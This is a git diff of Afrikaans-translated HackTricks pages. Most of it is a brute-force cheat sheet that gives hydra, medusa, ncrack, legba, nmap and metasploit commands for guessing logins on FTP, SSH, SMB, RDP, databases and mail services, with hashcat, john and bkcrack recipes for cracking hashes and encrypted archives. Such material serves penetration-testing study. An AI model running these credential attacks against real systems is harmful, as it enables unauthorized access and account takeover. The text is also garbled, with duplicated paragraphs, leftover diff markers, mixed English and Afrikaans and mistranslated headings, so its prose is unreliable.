Vir ontleding bied **oletools** en **OfficeDissector** omvattende gereedskapstelle vir die ondersoek van beide OLE- en OOXML-dokumente. Hierdie gereedskap help om ingebedde makros te identifiseer en te ontleed, wat dikwels as vektore vir kwaadwillige sagteware-aflewering dien, wat tipies aanvullende skadelike vragte aflaai en uitvoer. Ontleding van VBA-makros kan uitgevoer word sonder Microsoft Office deur gebruik te maak van Libre Office, wat foutopsporing met breekpunte en kykveranderlikes moontlik maak.
Vir ontleding bied **oletools** en **OfficeDissector** omvattende gereedskapstelle vir die ondersoek van beide OLE- en OOXML-dokumente. Hierdie gereedskappe help om ingebedde makros te identifiseer en te ontleed, wat dikwels as vektore vir kwaadwillige sagteware-aflewering dien, wat tipies aanvullende skadelike vragte aflaai en uitvoer. Ontleding van VBA-makros kan uitgevoer word sonder Microsoft Office deur gebruik te maak van Libre Office, wat foutopsporing met breekpunte en kykveranderlikes moontlik maak.
Die installasie en gebruik van **oletools** is maklik, met opdragte wat voorsien word vir installering via pip en die onttrekking van makros uit dokumente. Outomatiese uitvoering van makros word geaktiveer deur funksies soos `AutoOpen`, `AutoExec`, of `Document_Open`.
```bash
@ -38,21 +38,21 @@ olevba -c /path/to/document #Extract macros
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) om maklik en **outomatiseer werkstrome** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=office-file-analysis) om maklik en **outomatiseer werkstrome** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Kry Vandaag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=office-file-analysis" %}
<details>
<summary><strong>Leer AWS hak van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>

View file

@ -17,10 +17,10 @@ Ander maniere om HackTricks te ondersteun:
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkvloei outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Vandag Toegang:
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=pdf-file-analysis) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Vandaag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=pdf-file-analysis" %}
**Vir verdere besonderhede kyk na:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/)

View file

@ -3,10 +3,10 @@
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik en **outomatiese werksvloei** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) om maklik en **outomatiese werksvloei** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Kry Toegang Vandag:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %}
<details>
@ -14,11 +14,11 @@ Kry Toegang Vandag:
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
@ -41,7 +41,7 @@ Ander maniere om HackTricks te ondersteun:
## **Skep jou eie Woordeboeke**
Vind soveel moontlik inligting oor die teiken en genereer 'n aangepaste woordeboek. Gereedskappe wat kan help:
Vind soveel moontlik inligting oor die teiken en genereer 'n aangepaste woordeboek. Gereedskap wat kan help:
### Crunch
```bash
@ -54,7 +54,7 @@ crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using chars
^ Special characters including spac
crunch 6 8 -t ,@@^^%%
```
### Cewl
### Gaaf
```bash
cewl example.com -m 5 -w words.txt
```
@ -66,7 +66,7 @@ python3 cupp.py -h
```
### [Wister](https://github.com/cycurity/wister)
'n Woordelysgeneratorwerktuig wat jou toelaat om 'n stel woorde te voorsien, wat jou die moontlikheid bied om verskeie variasies van die gegewe woorde te skep, 'n unieke en ideale woordelys te skep om te gebruik met betrekking tot 'n spesifieke teiken.
'n Woordelysgeneratortool, wat jou toelaat om 'n stel woorde te voorsien, wat jou die moontlikheid gee om verskeie variasies van die gegewe woorde te skep, 'n unieke en ideale woordelys te skep om te gebruik met betrekking tot 'n spesifieke teiken.
```bash
python3 wister.py -w jane doe 2022 summer madrid 1998 -c 1 2 3 4 5 -o wordlist.lst
@ -87,7 +87,7 @@ Finished in 0.920s.
```
### [pydictor](https://github.com/LandGrey/pydictor)
### Woordelyste
### Woordlyste
* [**https://github.com/danielmiessler/SecLists**](https://github.com/danielmiessler/SecLists)
* [**https://github.com/Dormidera/WordList-Compendium**](https://github.com/Dormidera/WordList-Compendium)
@ -103,14 +103,14 @@ Finished in 0.920s.
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik **werkstrome** te bou en outomatiseer met die wêreld se **mees gevorderde** gemeenskaplike gereedskap.\
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) om maklik **werkstrome** te bou en outomatiseer met die kragtigste gemeenskapsinstrumente ter wêreld.\
Kry Vandaag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %}
## Dienste
Gesorteer alfabeties volgens diensnaam.
Gesorteer in alfabetiese volgorde volgens diensnaam.
### AFP
```bash
@ -124,7 +124,7 @@ msf> run
```
### AJP
AJP (Apache JServ Protocol) is a binary protocol that can be used to proxy requests from a web server to a Java application server. It is often used in combination with Apache Tomcat. AJP can be vulnerable to attacks such as brute force, where an attacker tries to guess usernames and passwords to gain unauthorized access.
AJP (Apache JServ Protocol) is a binary protocol that can be used to proxy requests from a web server to a Java application server. It is important to note that AJP is not encrypted, so sensitive information can be exposed if intercepted.
```bash
nmap --script ajp-brute -p 8009 <IP>
```
@ -134,17 +134,15 @@ legba amqp --target localhost:5672 --username admin --password data/passwords.tx
```
### Cassandra
Cassandra is 'n hoogs skaleerbare NoSQL databasis wat ontwerp is om groot hoeveelhede data te hanteer deur middel van 'n gedistribueerde stelsel.
#### Brute Force
Brute force attacks involve trying all possible combinations of a password until the correct one is found. This method can be effective against weak passwords but is time-consuming and resource-intensive. It is important to use strong, complex passwords to protect against brute force attacks.
```bash
nmap --script cassandra-brute -p 9160 <IP>
# legba ScyllaDB / Apache Casandra
legba scylla --username cassandra --password wordlists/passwords.txt --target localhost:9042
```
### CouchDB
#### Brute Force
Brute force attacks involve trying all possible combinations of a password until the correct one is found. This method can be used to crack weak passwords or gain unauthorized access to a system. In the case of CouchDB, brute force attacks can be attempted to guess the password of a user account and gain access to the database. It is important to use strong and unique passwords to protect against brute force attacks.
```bash
msf> use auxiliary/scanner/couchdb/couchdb_login
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get /
@ -158,6 +156,10 @@ hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/word
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get /
```
### FTP
#### Brute Force
Brute force attacks involve trying all possible combinations of usernames and passwords until the correct one is found. This method is commonly used to gain unauthorized access to FTP servers. It is important to use strong and unique passwords to prevent successful brute force attacks.
```bash
hydra -l root -P passwords.txt [-t 32] <IP> ftp
ncrack -p 21 --user root -P passwords.txt <IP> [-T 5]
@ -180,7 +182,7 @@ legba http.basic --username admin --password wordlists/passwords.txt --target ht
legba http.ntlm1 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
legba http.ntlm2 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
```
### HTTP - Plaas Vorm
### HTTP - Pos Vorm
```bash
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V
# Use https-post-form mode for https
@ -194,7 +196,7 @@ cmsmap -f W/J/D/M -u a -p a https://wordpress.com
```
### IMAP
IMAP (Internet Message Access Protocol) is a standard email protocol that stores email messages on a mail server. When a hacker gains access to a victim's email account, they can use brute force attacks to crack the victim's email password and gain unauthorized access to their emails.
IMAP (Internet Message Access Protocol) is a standard email protocol that stores email messages on a mail server. When a hacker is attempting to brute force IMAP credentials, they typically use a list of common usernames and passwords. This is done by using automated tools that systematically try all possible combinations until the correct one is found.
```bash
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> imap -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f <IP> imap -V
@ -203,7 +205,7 @@ legba imap --username user --password data/passwords.txt --target localhost:993
```
### IRC
IRC (Internet Relay Chat) is 'n protokol wat gebruik word vir instandhouding van gesprekke via 'n netwerk. Dit word dikwels gebruik vir kommunikasie tussen hackers en vir die koördinering van aanvalle.
IRC (Internet Relay Chat) is 'n protokol wat gebruik word vir instandhouding van gesprekke via 'n netwerk. Dit kan gebruik word vir kommunikasie, maar dit word ook dikwels deur hackers gebruik vir kommunikasie en samevoeging van hulpbronne.
```bash
nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p <PORT> <IP>
```
@ -254,7 +256,7 @@ legba mongodb --target localhost:27017 --username root --password data/passwords
#### Brute Force
Brute force attacks against MSSQL servers can be performed using tools such as **Hydra** or **Ncrack**. These tools allow an attacker to systematically check all possible passwords until the correct one is found. It is important to note that brute force attacks can be time-consuming and resource-intensive, so it is recommended to use them as a last resort.
Brute force attacks against MSSQL servers can be performed using tools like **Hydra** or **Ncrack**. These tools allow an attacker to systematically check all possible passwords until the correct one is found. It is important to note that brute force attacks can be time-consuming and resource-intensive, but they can be effective if the password is weak. It is recommended to use strong, complex passwords and implement account lockout policies to prevent successful brute force attacks.
```bash
legba mssql --username SA --password wordlists/passwords.txt --target localhost:1433
```
@ -262,17 +264,7 @@ legba mssql --username SA --password wordlists/passwords.txt --target localhost:
#### Brute Force
Brute force attacks involve trying all possible combinations of usernames and passwords until the correct one is found. This method is often used when other techniques, such as password cracking, fail. It is a time-consuming process but can be effective if the passwords are weak or easily guessable.
#### Brute Force Prevention
To prevent brute force attacks, you can implement measures such as:
- **Limiting login attempts**: By restricting the number of login attempts allowed within a certain time frame, you can make it harder for attackers to guess the correct credentials.
- **Using strong passwords**: Encouraging users to use complex passwords that are difficult to guess can help prevent brute force attacks.
- **Implementing multi-factor authentication (MFA)**: Adding an extra layer of security, such as MFA, can make it even more challenging for attackers to gain unauthorized access.
By implementing these preventive measures, you can significantly reduce the risk of a successful brute force attack on your MySQL database.
Brute force attacks are a common way to gain unauthorized access to a MySQL database. In a brute force attack, the hacker tries all possible combinations of usernames and passwords until the correct one is found. This can be done using automated tools that systematically generate and test different combinations. To protect against brute force attacks, it is important to use strong and unique passwords, limit login attempts, and implement multi-factor authentication where possible.
```bash
# hydra
hydra -L usernames.txt -P pass.txt <IP> mysql
@ -287,6 +279,10 @@ medusa -h <IP/Host> -u <username> -P <password_list> <-f | to stop medusa on fir
legba mysql --username root --password wordlists/passwords.txt --target localhost:3306
```
### OracleSQL
#### Brute Force
Brute force is a straightforward attack method that involves trying all possible combinations of a password until the correct one is found. This method can be effective but is also time-consuming. It is important to note that brute force attacks can be detected and blocked by security measures such as account lockouts after a certain number of failed attempts.
```bash
patator oracle_login sid=<SID> host=<IP> user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017
@ -314,19 +310,21 @@ Om **oracle\_login** met **patator** te gebruik, moet jy dit **installeer**:
```bash
pip3 install cx_Oracle --upgrade
```
[Aflyn OracleSQL-hash bruteforce](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) (**weergawes 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** en **11.2.0.3**):
[Offline OracleSQL hash bruteforce](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) (**weergawes 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** en **11.2.0.3**):
```bash
nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30
```
### POP
### POP
#### Brute Force
POP (Post Office Protocol) is a standard email protocol used to retrieve emails from a remote server to a local email client. POP operates over port 110.
Brute force attacks are one of the most common and effective ways to obtain a password. This attack method involves an attacker trying many passwords or passphrases with the hope of eventually guessing correctly. Brute force attacks can be time-consuming but are often successful.
### POP
#### Afrikaans Translation
POP (Post Office Protocol) is 'n standaard e-posprotokol wat gebruik word om e-posse vanaf 'n afgeleë bediener na 'n plaaslike e-posklient te haal. POP werk oor poort 110.
#### Brute Force
Brute force-aanvalle is een van die mees algemene en doeltreffende maniere om 'n wagwoord te verkry. Hierdie aanvalsmetode behels 'n aanvaller wat baie wagwoorde of frases probeer met die hoop om uiteindelik reg te raai. Brute force-aanvalle kan tydrowend wees, maar is dikwels suksesvol.
```bash
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> pop3 -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f <IP> pop3 -V
@ -338,10 +336,6 @@ legba pop3 --username admin@example.com --password wordlists/passwords.txt --tar
legba pop3 --username admin@example.com --password wordlists/passwords.txt --target localhost:995 --pop3-ssl
```
### PostgreSQL
#### Brute Force
Brute force attacks involve trying all possible combinations of a password until the correct one is found. These attacks can be automated using tools like Hydra or Medusa. It is important to use strong and complex passwords to prevent successful brute force attacks.
```bash
hydra -L /root/Desktop/user.txt P /root/Desktop/pass.txt <IP> postgres
medusa -h <IP> U /root/Desktop/user.txt P /root/Desktop/pass.txt M postgres
@ -365,6 +359,8 @@ hydra -V -f -L <userslist> -P <passwlist> rdp://<IP>
legba rdp --target localhost:3389 --username admin --password data/passwords.txt [--rdp-domain <RDP_DOMAIN>] [--rdp-ntlm] [--rdp-admin-mode] [--rdp-auto-logon]
```
### Redis
Redis is 'n in-memory data store wat dikwels gebruik word vir caching en sessiebeheer in webtoepassings. Dit kan ook gebruik word vir die stoor van datastrukture soos lys, kaarte en stelle.
```bash
msf> use auxiliary/scanner/redis/redis_login
nmap --script redis-brute -p 6379 <IP>
@ -373,7 +369,7 @@ legba redis --target localhost:6379 --username admin --password data/passwords.t
```
### Rexec
### Rexec
Rexec is 'n protokol wat gebruik word om 'n program op 'n afstand te hardloop. Dit kan gebruik word vir die uitvoering van programme op 'n afstand en kan 'n potensiële aanvalsoppervlak wees vir aanvallers wat brute force-tegnieke gebruik.
```bash
hydra -l <username> -P <password_file> rexec://<Victim-IP> -v -V
```
@ -383,7 +379,9 @@ hydra -l <username> -P <password_file> rlogin://<Victim-IP> -v -V
```
### Rsh
Rsh is a simple remote shell client included with most Unix operating systems. It can be used to execute commands on a remote system. It is often used in brute force attacks to try to guess passwords for user accounts on a remote system.
#### Brute Force
Brute force attacks consist of systematically checking all possible keys or passwords until the correct one is found. This method is usually used when the key space is small enough to be searched quickly. It is a simple but powerful technique that can be effective against weak passwords.
```bash
hydra -L <Username_list> rsh://<Victim_IP> -v -V
```
@ -412,15 +410,13 @@ hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt ta
```
### SMB
SMB is 'n protokol wat gebruik word vir die oordrag van lêers tussen rekenaars oor 'n netwerk. Dit kan 'n aanvalsoppervlak skep vir aanvallers om te gebruik vir brute force-aanvalle om wagwoorde te agterhaal.
### SMB
```bash
nmap --script smb-brute -p 445 <IP>
hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1
legba smb --target share.company.com --username admin --password data/passwords.txt [--smb-workgroup <SMB_WORKGROUP>] [--smb-share <SMB_SHARE>]
```
### SMTP
SMTP (Simple Mail Transfer Protocol) is 'n protokol wat gebruik word om e-posse oor 'n netwerk te stuur.
```bash
hydra -l <username> -P /path/to/passwords.txt <IP> smtp -V
hydra -l <username> -P /path/to/passwords.txt -s 587 <IP> -S -v -V #Port 587 for SMTP with SSL
@ -428,15 +424,7 @@ legba smtp --username admin@example.com --password wordlists/passwords.txt --tar
```
### SOCKS
#### Brute Force
Brute force attacks are a common way to gain unauthorized access to a system by trying all possible combinations of usernames and passwords until the correct one is found. This method is often used when other, more sophisticated hacking techniques fail. It is a time-consuming process but can be effective if the target system has weak credentials.
#### Afrikaans Translation
#### Gewelddadige Aanval
Gewelddadige aanvalle is 'n algemene manier om ongemagtigde toegang tot 'n stelsel te verkry deur alle moontlike kombinasies van gebruikersname en wagwoorde te probeer totdat die regte een gevind word. Hierdie metode word dikwels gebruik wanneer ander, meer gesofistikeerde hak tegnieke faal. Dit is 'n tydrowende proses, maar kan effektief wees as die teikensisteem swak geloofsbriewe het.
### SOKKIES
```bash
nmap -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 <IP>
legba socks5 --target localhost:1080 --username admin --password data/passwords.txt
@ -454,7 +442,7 @@ msf> use auxiliary/scanner/mssql/mssql_login #Be careful, you can block accounts
```
### SSH
SSH, of Secure Shell, is 'n kriptografiese netwerkprotokol wat gebruik word vir die veilige kommunikasie oor 'n onseker netwerk. SSH word dikwels gebruik vir die veilige afstandbeheer van rekenaars deur middel van 'n veilige datakanaal.
SSH (Secure Shell) is 'n veilige protokol wat gebruik word om veilige kommunikasie oor 'n onveilige netwerk te voer.
```bash
hydra -l root -P passwords.txt [-t 32] <IP> ssh
ncrack -p 22 --user root -P passwords.txt <IP> [-T 5]
@ -470,7 +458,7 @@ Sommige stelsels het bekende foute in die lukrake saad wat gebruik word om kript
### STOMP (ActiveMQ, RabbitMQ, HornetQ en OpenMQ)
Die STOMP-teksporotokol is 'n wyd gebruikte boodskapporotokol wat **naatlose kommunikasie en interaksie met gewilde boodskapstoetsdiensdienste** soos RabbitMQ, ActiveMQ, HornetQ en OpenMQ moontlik maak. Dit bied 'n gestandaardiseerde en doeltreffende benadering om boodskappe uit te ruil en verskeie boodskapbedrywighede uit te voer.
Die STOMP-teksprotokol is 'n wyd gebruikte boodskapprotokol wat **naatlose kommunikasie en interaksie met gewilde boodskie-opeenhopingsdiens** soos RabbitMQ, ActiveMQ, HornetQ en OpenMQ moontlik maak. Dit bied 'n gestandaardiseerde en doeltreffende benadering om boodskappe uit te ruil en verskeie boodskapbedrywighede uit te voer.
```bash
legba stomp --target localhost:61613 --username admin --password data/passwords.txt
```
@ -490,6 +478,8 @@ legba telnet \
--single-match # this option will stop the program when the first valid pair of credentials will be found, can be used with any plugin
```
### VNC
VNC is 'n baie algemene protokol wat gebruik word vir die beheer van rekenaars oor 'n netwerk. Dit kan gebruik word vir die uitvoering van aanvalle deur middel van 'n brute force-aanval om toegang te verkry tot VNC-sessies.
```bash
hydra -L /root/Desktop/user.txt P /root/Desktop/pass.txt -s <PORT> <IP> vnc
medusa -h <IP> u root -P /root/Desktop/pass.txt M vnc
@ -511,10 +501,10 @@ crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik en **outomatiseer werkstrome** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Kry Vandaag Toegang:
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) om maklik **werkstrome te bou** en outomatiseer met die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Kry Toegang Vandag:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %}
## Plaaslik
@ -552,8 +542,8 @@ hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt
```
#### Bekende platte teks zip-aanval
Jy moet die **platte teks** (of 'n deel van die platte teks) **van 'n lêer wat binne-in** die versleutelde zip lê, ken. Jy kan **lêernaam en grootte van lêers wat binne-in** 'n versleutelde zip lê, nagaan deur: **`7z l encrypted.zip`** uit te voer.\
Laai [**bkcrack**](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0) af van die vrystellingsbladsy.
Jy moet die **platte teks** (of 'n deel van die platte teks) **van 'n lêer wat binne-in** die versleutelde zip lê, ken. Jy kan **lêernaam en grootte van lêers wat binne-in** 'n versleutelde zip lê, nagaan deur: **`7z l encrypted.zip`** uit te voer\
Laai [**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0) van die vrystellingsbladsy af.
```bash
# You need to create a zip file containing only the file that is inside the encrypted zip
zip plaintext.zip plaintext.file
@ -566,10 +556,6 @@ zip plaintext.zip plaintext.file
unzip unlocked.zip #User new_pwd as password
```
### 7z
#### Brute Force Attack
'n Brute Force-aanval is 'n aanval wat poog om 'n wagwoord te agterhaal deur verskeie moontlike kombinasies van karakters te probeer totdat die regte een gevind word. Hierdie tegniek kan gebruik word om 'n 7z-lêer se wagwoord te agterhaal deur verskeie kombinasies van karakters te probeer totdat die regte wagwoord gevind word.
```bash
cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z
```
@ -582,9 +568,7 @@ apt-get install libcompress-raw-lzma-perl
```
### PDF
Afrikaans Translation:
### PDF
Brute-force attacks against PDF files are relatively common due to the popularity of the format and the sensitive information often contained within. Attackers may use tools like `pdfcrack` or `pdfcrack-ng` to attempt to crack the password protecting a PDF file. These tools work by systematically trying all possible passwords until the correct one is found. It is important to use strong, complex passwords to protect PDF files from brute-force attacks.
```bash
apt-get install pdfcrack
pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt
@ -672,7 +656,7 @@ Gebruik [https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.p
### Open Office Wagwoord Beskermde Kolom
As jy 'n xlsx-lêer het met 'n kolom wat beskerm word deur 'n wagwoord, kan jy dit ontsluit:
As jy 'n xlsx-lêer het met 'n kolom wat deur 'n wagwoord beskerm word, kan jy dit ontgrendel:
* **Laai dit op na Google Drive** en die wagwoord sal outomaties verwyder word
* Om dit **handmatig te verwyder**:
@ -694,10 +678,10 @@ crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) om maklik **werkstrome te bou** en outomatiseer met die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Kry Vandaag Toegang:
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) om maklik **werkstrome te bou** en te **outomatiseer** met behulp van die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Kry Toegang Vandag:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %}
## Gereedskap
@ -717,7 +701,7 @@ hash-identifier
### **Woordlys-genereringstools**
* [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** Gevorderde sleutelbord-stap-generator met instelbare basis karakters, sleutelkaart en roetes.
* [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** Gevorderde sleutelbord-stap-generator met instelbare basis karakters, toetsenbordkaart en roetes.
```bash
kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt
```
@ -798,27 +782,25 @@ hashcat --example-hashes | grep -B1 -A2 "NTLM"
```
### Brute Force
Brute force is a common password cracking technique where every possible combination of letters, numbers, and symbols are tried until the correct password is found. This method can be used to crack Linux password hashes stored in the `/etc/shadow` file.
### Brute Force
Brute force is 'n algemene wagwoordkraaktegniek waar elke moontlike kombinasie van letters, syfers, en simbole uitgeprobeer word totdat die regte wagwoord gevind word. Hierdie metode kan gebruik word om Linux wagwoordhasies wat in die `/etc/shadow` lêer gestoor word, te kraak.
Brute force is a common attack method used to crack passwords by systematically trying all possible combinations of characters until the correct one is found. In the context of cracking Linux hashes from the `/etc/shadow` file, brute force can be employed to guess the passwords associated with the hashed values. This method requires significant computational power and time, especially for complex passwords.
```
500 | md5crypt $1$, MD5(Unix) | Operating-Systems
3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems
7400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems
1800 | sha512crypt $6$, SHA512(Unix) | Operating-Systems
```
### Brute Force
### Brute-Force
#### Brute Forcing Windows Hashes
Brute-force attacks involve systematically checking all possible keys or passwords until the correct one is found. This method is commonly used to crack Windows hashes.
Brute forcing Windows hashes involves attempting all possible password combinations until the correct one is found. This can be achieved using tools like **John the Ripper** or **Hashcat**. The process can be time-consuming depending on the complexity of the password.
### Aanval met Geweld
Aanvalle met geweld behels die sistematiese nagaan van alle moontlike sleutels of wagwoorde totdat die regte een gevind word. Hierdie metode word dikwels gebruik om Windows-hashtags te kraak.
```
3000 | LM | Operating-Systems
1000 | NTLM | Operating-Systems
```
### Kraak van Gewone Aansoek-Hashes
### Kraak van Gewone Aansoek Hasse
```
